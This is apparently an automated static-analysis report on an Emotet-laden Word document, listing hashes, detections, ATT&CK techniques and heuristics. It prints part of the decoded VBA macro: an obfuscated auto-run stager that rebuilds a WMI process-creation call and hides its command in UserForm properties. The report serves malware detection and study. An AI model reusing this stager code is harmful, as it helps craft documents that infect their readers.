Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 3681daa87fcd7273…

MALICIOUS

Office (OLE)

174.9 KB Created: 2020-07-29 10:40:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 0a1acae37e2bdadd97ebb5d9636db20a SHA-1: f025200693db3ba747f59f34eba7092f472bd7d8 SHA-256: 3681daa87fcd7273080d8c9943be0e8f549075f23e2ceef7e89875649ad5a0ef
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection explicitly names Emotet. The VBA script likely downloads and executes a second-stage payload, a common behavior for this family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9370233-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9370233-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4987 bytes
SHA-256: 09db2c0c72e933db9c0d085a96078c2b7ec5e65ab539cb340ed7b08ed5d04db5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "APWSZcovlnbu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
AXLBRmxlxpoxs.NMVSRxbbtqnhvl
End Sub


Attribute VB_Name = "AXLBRmxlxpoxs"
Attribute VB_Base = "0{013EA8D1-55DF-44B3-8E8C-59C85E735529}{863B0979-A388-4A15-8DE0-F038C7E3C953}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function NMVSRxbbtqnhvl()
Dim RGEuulBI As String
RGEuulBI = Replace$("UvTejcif1ÅL", "UvTejc", "yBDJZhNWEb")
Dim CSKo As Integer
CSKo = 7
Do While CSKo < 7 + 9
CSKo = CSKo + 1: DoEvents
Loop
Dim Yto7ÇKQRXoy As Integer
Yto7ÇKQRXoy = 3
Do While Yto7ÇKQRXoy < 3 + 6
Yto7ÇKQRXoy = Yto7ÇKQRXoy + 7: DoEvents
Loop
FTRLIojuhmga = Chr(AXLBRmxlxpoxs.Zoom + ((40 + 40 + 40) / 8))
Dim awg3ÎQMPteq As Integer
awg3ÎQMPteq = 8
Do While awg3ÎQMPteq < 8 + 3
awg3ÎQMPteq = awg3ÎQMPteq + 9: DoEvents
Loop
ZMBIGjaymyejkhetp = "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjai99939nu7*9((()0hsbuguIGv22bjanm99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjagm99939nu7*9((()0hsbuguIGv22bjat99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja" + FTRLIojuhmga + "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja:99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjain99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja399939nu7*9((()0hsbuguIGv22bja299939nu7*9((()0hsbuguIGv22bja_99939nu7*9((()0hsbuguIGv22bja" + AXLBRmxlxpoxs.WDCMCoxdwqaroykg + "99939nu7*9((()0hsbuguIGv22bjaro99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjace99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bja"
wbNZsnpFoA = 8
Do While wbNZsnpFoA < 8 + 2
wbNZsnpFoA = wbNZsnpFoA + 3: DoEvents
Loop
REVUFisdlsaogknbhss = ZXSMJjbypczghmqu(ZMBIGjaymyejkhetp)
Dim gcfKyIb4ÜjC As Integer
gcfKyIb4ÜjC = 5
Do While gcfKyIb4ÜjC < 5 + 5
gcfKyIb4ÜjC = gcfKyIb4ÜjC + 7: DoEvents
Loop
Set FFTZJpexmgrcaz = CreateObject(REVUFisdlsaogknbhss)
Dim lVK As String
lVK = Replace$("O7qGEsVF", "O7qG", "HfNmk2Ïy")
EBPBNblcnvcqmikiuz = AXLBRmxlxpoxs.PFZNQdygqyqabdj.ControlTipText
iiv = 7
Do While iiv < 7 + 4
iiv = iiv + 5: DoEvents
Loop
DBGQTxymmommtzt = IJK + (REVUFisdlsaogknbhss + FTRLIojuhmga + AXLBRmxlxpoxs.GWCTRlqrfhpzfophe.ControlTipText) + EBPBNblcnvcqmikiuz
Dim QH4Ý As String
QH4Ý = Replace$("tBTpXheeAy", "tBTpXhe", "RRWXeuD")
SHWRKpogxriy = DBGQTxymmommtzt + AXLBRmxlxpoxs.WDCMCoxdwqaroykg
Dim SqQW3Òwd As String
SqQW3Òwd = Replace$("chaNol6ÆmYk1ÓFMeC", "chaNo", "PJy4È")
Set QWGDMdgwdnyby = ZMDBPngdbzzbaf(SHWRKpogxriy)
Dim hipGOtD As Integer
hipGOtD = 9
Do While hipGOtD < 9 + 7
hipGOtD = hipGOtD + 9: DoEvents
Loop
cde = Array("ewwdas", FFTZJpexmgrcaz. _
Create(QHJTNvunntgh, XULIUpgmhjgnmjwpgm, QWGDMdgwdnyby), "sd")
Dim F3ÊHYfL As String
F3ÊHYfL = Replace$("e8ÝIhfUTun0ËW", "e8ÝIhfUTu", "Ce2ÖRb")
End Function
Function ZMDBPngdbzzbaf(MFJDSmqilcswtjk)
Set ZMDBPngdbzzbaf = CreateObject(MFJDSmqilcswtjk)
Dim nqVHT6ÒGOtD As String
nqVHT6ÒGOtD = Replace$("wqd7É7àZD7×wqRgQ5ÕJ", "wqd7É7àZD7×wq", "MZuEIlX")
ZMDBPngdbzzbaf.showwindow = (FGCPXgwvooao + UQQOJlpmaekhd) + (QBEUXovspufob + TRYGVbswtifvwqebshu)
Dim KKQRX7Õ As Integer
KKQRX7Õ = 9
Do While KKQRX7Õ < 9 + 3
KKQRX7Õ = KKQRX7Õ + 6: DoEvents
Loop
End Function
Function ZXSMJjbypczghmqu(CYVLHazdzelb)
IIWMAfoxstkppkzplja = CYVLHazdzelb
Dim A1ålOTAY1Î As String
A1ålOTAY1Î = Replace$("eFEttRlffLUCaI", "eFEttRlf", "pLU4ÎJBQ")
JGVOQtuhiwjerzwqmt = Split _
(IIWMAfoxstkppkzplja, "99939nu7*9((()0hsbuguIGv22bja")
gDkuq = 4
Do While gDkuq < 4 + 4
gDkuq = gDkuq + 8: DoEvents
Loop
TJEUCyizmafopjqsm = fder + Join(JGVOQtuhiwjerzwqmt, bzder)
Dim pCI As String
pCI = Replace$("I3ØDOgMSPqulKjpkmPl", "I3Ø
... (truncated)